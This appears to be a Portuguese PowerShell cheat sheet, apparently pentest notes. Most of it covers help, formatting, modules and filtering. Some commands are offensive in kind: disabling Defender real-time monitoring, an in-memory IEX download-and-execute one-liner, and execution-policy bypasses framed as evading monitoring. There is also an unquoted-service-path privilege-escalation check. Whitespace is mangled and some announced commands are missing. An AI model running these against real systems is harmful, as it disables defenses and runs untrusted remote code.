Verificando versão disponíveis do Powershell no máquina atual
$PSVersionTable.PSVersion
Verificando qual linguagem do Powershell está em uso no momento, sendo eles ConstrainedLanguage ou FullLanguage.
$ExecutionContext.SessionState.LanguageMode
Listando as variáveis de ambiente
direnv:
Renomeando o título da janela
$host.UI.RawUI.WindowTitle = "<NOME>"
Modos de exibição
# Modo Lista, onde apresentar resultados mais completosls|Format-Listls|fl# Modo Tabela, que vem por padrão na saída dos resultadosls|Format-Tablels|ft# Exibe m popup GUI com melhor visualizaçãols|Out-GridView
Quando executarmos algum comando e recebermos algum retorno que contenha algo como {valor1, valor2, valor3, val...}, não temos como saber o restante dos valores. Para vermos a lista completa, precismos utilizar o seguinte comando:
Para verificar as configurações atuais de Proxy, basta digitar:
[Net.WebRequest]::GetSystemWebProxy()
Windows Defender
# Habilitando a proteção Real-TimeSet-MpPreference-DisableRealtimeMonitoring $false# Desabilitando a proteção Real-TimeSet-MpPreference-DisableRealtimeMonitoring $true
Vendo logs do que o Defender bloqueou
Get-MpThreatDetection|sort $_.InitialDetectionTime# Vendo a última detecçãoGet-MpThreatDetection|sort $_.InitialDetectionTime|Select-First1
Get-Help
Semelhante ao comando man do Linux, temos o Get-Help no Powershell, que serve como um manual para os comandos disponíveis
Get-Help<command>
Podemos utilizar argumentos adicionais no nosso helper, como por exemplo:
# Informções completas do comandoGet-Help<command>-Full# Detalhes do comandoGet-Help<command>-Detailed# Exemplos de utilização do comandoGet-Help<command>-Examples# Abre a página web do tutorial da MicrosoftGet-Help<command>-Online# Abre o resultado em um popupGet-Help<command>-ShowWindow
Properties
Vendo as propriedades de um comando (objeto). No exemplo abaixo, utilizamos o Get-Process (ps) como exemplo, mas podemos utilizar outros comando em seu lugar. Note que o Get-Member possui o alias gm.
Get-Process|Get-MemberGet-Process|gm
Como tudo no Powershell é um objeto, uma simples string pode conter Method e Property. No exemplo abaixo, estamos dando um echo em abc (lembrando que não precisamos escrever echo) e pegando as suas informações de acesso.
'abc'|Get-Member
Filtrando somente por Member-Type que possua o valor Method
Ao vermos um tipo de Property ao executar o Get-Member, devemos especificar o formato, como por exemplo, o Format-List (ou fl`) para poder acessar suas propriedades
Get-Process|fl-PropertyId,Name,StartTime# Pegando todas as propriedadesGet-Process|fl-Property*
Manipulando Saídas
Abaixo alguns métodos que podemos acessar com uma string:
# Deixando todas as letras maiúsculas'abc'.toUpper()# Comparando a string `abc` com `def`'abc'.CompareTo('def')# Quebrando string por vírgula'a,b,c,d,e,f'.split(',')# Quebrando string por vírgula e deixando as letras em maiúsculo'a,b,c,d,e,f'.split(',').ToUpper()# Retornando os 5 primeiros serviços de maneira ordenada (Sort), que estão consumindo mais memória ps|Sort-Object-PropertyWS-Descending|Select-Object-First5ps|Sort-Object-PropertyWS|Select-Object-Last5# Retornando o primeiro resultado de processo que mais estão utilizando memória, porém ignorando as 3 primeiras linhas, ou seja, retorna somente a quarta linhaps|Sort-Object-PropertyWS-Descending|Select-Object-Index3ps|Sort-Object-PropertyWS-Descending|Select-Object-First1-Skip3# Agrupando resultados<command>|ft-GroupBy<column>
Exibe todos os valores do array menos os 3 primeiros
'a','b','c','a','b','c','d'|Select-Object-Skip3
Modules
Verificando todos os Módulos que estão importados na sessão atual
Get-Module
Verificando todos os Módulos que estão dispóníveis para serem importados
Get-Module-ListAvailable
Para importar um Módulos presente no resultado do comando acima, basta executar:
Import-Module<module>
Caso seja um módulo baixado da internet ou até mesmo desenvolvido por conta própria, execute:
Import-Module<file.psm1>
Também podemos importar Módulos, usando a técnica Dot-Sourcing, que consiste na seguinte estrutura
..\<file.ps1>
Outra maneira diferente de fazer um importar um módulo:
ipmo<file.ps1>
Localizando o diretório do Módulos. Caso coloque scripts nesses diretórios, eles serão carregados automaticamente no Powershell, permitindo serem executados de forma nativa
$Env:PSModulePath
Listando todos os cmdlet de um determinado Módulo
Get-Command-Module<module>
Caso tenha queira executar alguma function no resultado do comando acima e não sabe ao certo como utilizar, execute o comando abaixo para ter mais detalhes sobre o seu uso
Get-Help<function>
Foreach
Multiplando por 2, cada um dos itens
1,2,3,'a','b','c'|%{$_ *2}
Matando todos os processos do Chrome, semelhante a um ps -Name Chrome | kill
Get-Process-Name"chrome"|%{Stop-Process $_}
Where-Object
Executando comandos e realizando filtros. Note que a ? pode ser substituída por Where-Object
ps|?{$_.ProcessName-eq"Calculator"}ps|?{$_.PriorityClass-eq"normal"}|fl-PropertyName,PriorityClassps|?{$_.PriorityClass-ne"normal"-and $_.PriorityClass-ne $null}|fl-PropertyName,PriorityClassps|Where-Object{$_.Name-ne"chrome"}ls|?{$_.Name-eq"mysther"}# Este só funciona a partir da versão 3 do Powershellps|?-PropertyPriorityClass-eq-Value"normal"
Por exemplo, para pegarmos todos os serviços que estão em execução, podemos executar o seguinte comando:
Os Profiles são perfis, onde scripts são executados assim que o Powershell for inicializado. Para executarmos um comando sem um perfil, podemos utilizar um comando seguindo o exemplo abaixo:
Contando quantidade de resultados (linhas), semelhante ao wc -l do Linux
ls|Measure-Object|select count
Retornando softwares instalados no computador
get-ciminstancewin32_product|fl
Retornando softwares instalados no computador, filtrando somente por produtos que não contém o nome "Microsoft"
get-ciminstancewin32_product-Filter"NOT Vendor like '%Microsoft%'"|fl
WEB
Baixando um arquivo
# Baixando arquivo e "executando" direto na memória (sem baixar no HD)IEX(New-ObjectNet.WebClient).downloadString('http://<site.com>/<file>')# Baixando arquivo no HDiex(New-ObjectNet.WebClient).DownloadFile("http://<site>/<file>","C:\Users\<user>\Downloads\<file>")Invoke-WebRequest-Uri"http://<site>/<file>"-OutFile"C:\Users\<user>\Downloads"Invoke-WebRequest"http://<site>/<file>"-OutFile"C:\Users\<user>\Downloads"
Get-LocalGroupGet-ChildItemc:\Users-Force|select Name# Grupos locaisnetlocalgroup
Usuários locais que fazem parte de um determinado grupo
netlocalgroup<grupo>
Segurança
Ignorando política de execução, pois o PowerShell é altamente monitorado usando ACLs, histórico de comandos, System Center Configuration Manager [SCCM], etc.
ExecutionPolicy
Tipos de perfil:
Default = Política de execução padrão. Restricted para usuários em Desktop e RemoteSigned caso seja um servidor
RemoteSigned = Os scripts baixados na internet são obrigados a ter uma assinatura digital de uma fonte confiável
Restricted = Comandos individuais podem ser executados, porém arquivos ps1 não podem
Unrestricted = Script que não são assinados podem ser executados
Undefined = Não possui política definida para o escopo atual
AllSigned = Os scripts executados devem ser assinados por uma fonte confiável
Outra maneira de realizarmos bypass, é alterando o $AuthorizationManager por $null, é executando o comando abaixo. Nada é exibido na tela e se executarmos um Get-ExecutionPolicy, nada irá ser alterado também, porém mesmo assim podemos executar arquivos ps1 no powershell.
Executa um comando com bypass e em seguida já volta para o padrão de segurança do Powershell
powershell-epbypass<command>
Deixa o terminal com permissões de execução. Note que para ter êxito com esse comando, precisa ter acesso administrador
# Realiza o bypassSet-ExecutionPolicyBypass-Force# Volta para o modo restritoSet-ExecutionPolicyrestricted-Force
Altera a permissão no escopo Process
Set-ExecutionPolicybypass-scopeProcess
Altera a permissão no escopo CurrentUser -Force
Set-ExecutionPolicybypass-scopeCurrentUser-Force
Verificando permissões de diretório
Get-AclC:\Windows\Tasks|fl
Service Unquoted
Retorna um conjunto de serviços que possui um caminho inseguro configurado incorretamente durante a instalação
Get-ServiceUnquoted-verbose
Condições / Repetidores
Contadores
1..10
Foreach
foreach ($x in 1..254) { echo"192.168.1.$x"}
Sites
# Diversos scripts úteis para Powershellhttps://github.com/fleschutz/PowerShell# IPv4NetworkScannerhttps://github.com/BornToBeRoot/PowerShell_IPv4NetworkScanner